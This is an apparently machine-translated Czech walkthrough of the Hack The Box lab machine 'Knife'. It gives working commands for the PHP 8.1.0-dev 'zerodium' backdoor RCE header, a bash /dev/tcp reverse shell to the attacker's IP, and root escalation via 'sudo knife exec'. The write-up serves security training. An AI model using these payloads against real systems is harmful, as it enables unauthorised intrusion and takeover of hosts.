
Knife je snadný linuxový box vytvořený MrKN16H7 na Hack The Box a byl propuštěn 22. května 2021. Ahoj světe, Vítejte Haxez kde dnes vysvětlím, jak jsem hacknutý nůž. Navrhované požadované znalosti k dokončení tohoto pole jsou výčet, základní znalosti Linuxu a OWASP Top 10. Získané dovednosti jsou vykořisťování webu a vykořisťování nože sudo.
První, poslal jsem žádost ping do pole, abych se ujistil, že je online a že s ním mohu mluvit. Dále jsem provedl skenování Nmap proti všem portům, spustil výchozí skripty a požadoval verze služeb. Nastavil jsem minimální rychlost paketů na 10000 a všechny výstupy uložil do souboru s názvem knife. V důsledku toho jsem se dozvěděl, že porty 22 pro SSH a port 80 pro HTTP byly otevřené. Banner SSH navrhl, aby box měl operační systém Ubuntu. Výsledky z portu 80 mě informovaly, že běží Apache 2.4.41 a že webová aplikace měla název Emergent Medial Idea.
┌──(kali㉿kali)-[~/HTB/Knife]
└─$ sudo nmap -sC -sV -p- 10.129.225.186 --min-rate 10000 -oA knife
Při provádění penetračních testů webových aplikací vždy používám dva nástroje. Nejprve rád provozuji whatweb, abych identifikoval používané technologie. Nejsem si jistý, jak whatweb shromažďuje své informace, ale výsledky naznačují, že odešle požadavek na server a poté zkontroluje záhlaví. Z výsledků jsem se dozvěděl, že webová aplikace využívá PHP 8.1.0-dev. Nebylo hlášeno nic jiného, co Nmap ještě neobjevil.
┌──(kali㉿kali)-[~/HTB/Knife]
└─$ sudo whatweb -a3 http://10.129.225.186/ -v
Dále se mi líbí Spustit Nikto, což je skener zranitelnosti webové aplikace. Počáteční skenování s Nikto také identifikovalo verzi PHP jako 8.1.0-dev a uvedlo, že několik hlaviček HTTP souvisejících se zabezpečením chybělo, ale nic jiného.
Začal jsem tušit, kde by mohla být zranitelnost. Pokračoval jsem však ve výčtu tím, že jsem navštívil webovou aplikaci a šťoural se. V aplikaci toho nebylo moc a zdálo se, že odkazy nefungují.
Verze PHP měla dev ve jménu, které mě okamžitě podezřívalo. V důsledku toho jsem provedl vyhledávání verze Google a nejlepším výsledkem bylo úložiště GitHub pro zranitelnost backdoor RCE. Zajímalo by mě, zda by to Nmap scripts nebo Burp Professional nahlásili jako nález. To bych mohl zkontrolovat později.
Dále jsem pro toto zjištění přešel k položce Exploit Database a zobrazil kód. V důsledku toho jsem se dozvěděl, že backdoor kontroluje, zda je přítomna hlavička User-Agentt (všimněte si dvou tt) a zda má tato hlavička hodnotu zerodium. Pokud jsou obě tyto podmínky pravdivé, pak vše, co přijde přímo po nulování, bude provedeno eval.
Například, pokud jsem použil systém funkce pro provedení externího příkazu ping, pak bych mohl použít tcpdump a zkontrolovat, zda pinguje můj hostitel. Jak vidíte níže, To je přesně to, co jsem udělal. Nastavil jsem tcpdump, aby poslouchal tun0 pro ICMP pakety. Dále jsem přidal škodlivý záhlaví a můj příkaz ping můj hostitel. Jistě, cíl poslal 4 ICMP pakety mému hostiteli.
┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -i tun0 icmp
User-Agentt: zerodium system("ping -c 4 10.10.14.36");
S potvrzením vzdáleného spuštění kódu jsem jej použil k získání reverzního shellu na hostiteli. Nejprve jsem nastavil posluchače netcat na portu 1337. Dále jsem upravil příkaz ping na bash reverzní shell. Nakonec jsem poslal žádost a žádost visela (dobré znamení). Zkontroloval jsem svého posluchače netcat a dostal jsem spojení od cílového hostitele.
┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1337
User-Agentt: zerodium system("bash -c 'bash -i >& /dev/tcp/10.10.14.36/1337 0>&1'");
Nyní jsem měl přístup k krabici jako uživatel james a byl schopen zachytit uživatele.TXT vlajka.
┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.225.186] 44714
james@knife:~$ cat user.txt
cat user.txt
ce1▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓64d
Nejprve jsem použil soukromý klíč v Jamesově .SSH adresář do SSH zpět do pole. Tím bylo dosaženo dvou věcí, první byla stabilnější skořápka a druhá byla vytrvalost. Dále jsem spustil sudo-l, abych zjistil, zda james může provést nějaké příkazy jako root. V důsledku toho jsem se dozvěděl, že james může běžet nůž jako sudo.
james@knife:~$ sudo -l
Knife je nástroj příkazového řádku, který poskytuje rozhraní mezi místním Chef-repo a Chef Infra serverem. Pomáhá uživatelům spravovat uzly, kuchařky a recepty, role, prostředí a datové tašky. Knife obsahuje kolekci vestavěných dílčích příkazů, které společně poskytují funkce potřebné k provedení konkrétních akcí proti jakémukoli objektu v Organizaci. Tyto dílčí příkazy umožňují knife vydávat příkazy, které interagují s jakýmkoli objektem uloženým v Chef-repo nebo uloženým na serveru Chef Infra. Při hledání GTFO-košů pro nůž jsem se dozvěděl, že nůž může provádět příkazy, jako je tření skořápky. Protože to mohu spustit jako root, měl bych být schopen dát si kořenovou skořápku a zachytit kořen.TXT vlajka.
Zkopíroval jsem příkaz a spustil ho. Jistě, byl jsem root a mohl zachytit kořenový příznak.
james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
james@knife:~$ sudo knife exec -E 'exec "/bin/sh"'
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
f35▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓0b9
Byl to zábavný box, který mě naučil o zranitelnosti PHP backdoor. Věřím, že jsem o tom četl před chvílí, ale okamžitě jsem nespojil verzi se zranitelností. Rád jsem se dozvěděl, proč je zranitelný a jak ho využít. Pomohlo mi to vybudovat si znalosti o nebezpečných funkcích v PHP.
Eskalace privilegií byla pěkná a jednoduchá a nevyžadovala mnoho úsilí. Baví mě výzva, ale někdy je hezké mít snadnou výhru. Naučil jsem se něco o noži a kuchaři, což bylo dobré. O krabici není moc co říct upřímně. Bylo by to skvělé pro začátečníky a já jsem si to užil. Díky za krabici.